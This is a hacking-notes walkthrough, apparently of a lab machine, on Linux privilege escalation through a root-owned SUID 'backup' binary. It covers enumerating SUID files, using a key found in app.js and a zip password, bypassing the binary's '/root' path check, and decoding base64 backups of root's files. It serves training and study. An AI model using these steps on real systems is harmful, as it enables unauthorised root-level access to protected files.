> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/suid/suid-backup-binary-linux-privilege-escalation.md). # SUID Binary (Backup) - Linux Privilege Escalation SUID Binary (Backup) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation. ## What It Is SUID binaries execute with the privileges of their owner, often root. A vulnerable, outdated, or overly flexible SUID binary can read protected files, spawn a privileged shell, or execute attacker-controlled code. This specific page focuses on **SUID Binary (Backup)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact. ## Enumeration Start by confirming the local context and the exact misconfiguration before running the exploit path. ```bash find / -perm -4000 -type f 2>/dev/null ``` ## Examples To search for files with the enabled SUID bit, the following command is used: ```bash find / -perm -4000 2>/dev/null ``` This allows us to find a binary called `backup`.
The binary owner is `root`, which means it runs with root privileges.
When we try to run this binary directly, nothing happens. However, by testing different entries, we discover that it accepts a string of three characters separated by spaces, which reveals the available functions: ```bash /usr/local/bin/backup a d g ```
When we look at the `app.js` file, we find information about how to use the binary, as well as a key necessary for its execution. The key is located at the top of the file.
To use binary, we need to provide the key, followed by the directory path to save. `45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`
```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root ``` This generates a Base64 output.
The Base64 output can be decoded into a `.zip` file using the following command: {% code overflow="wrap" %} ```bash echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip ``` {% endcode %}
The zip file is password protected. We use the password found previously * password: `magicword` However, the `root.txt` file contained in the archive is a lure (rabbit hole).
## In-depth analysis with `ltrace` Using `ltrace`, we observe that the binary compares the path `/root` with that provided in argument. If the paths match, it displays a troll cartoon.
To bypass this check, we run the binary from the root (`/`) by requesting a backup of `root` ```bash /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root ```
The new release is also in Base64. We decode it to get the final content: {% code overflow="wrap" %} ```bash echo "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" | base64 -d > root.zip ``` {% endcode %} ### Flag root.txt :) By extracting the final file, we access the desired content.
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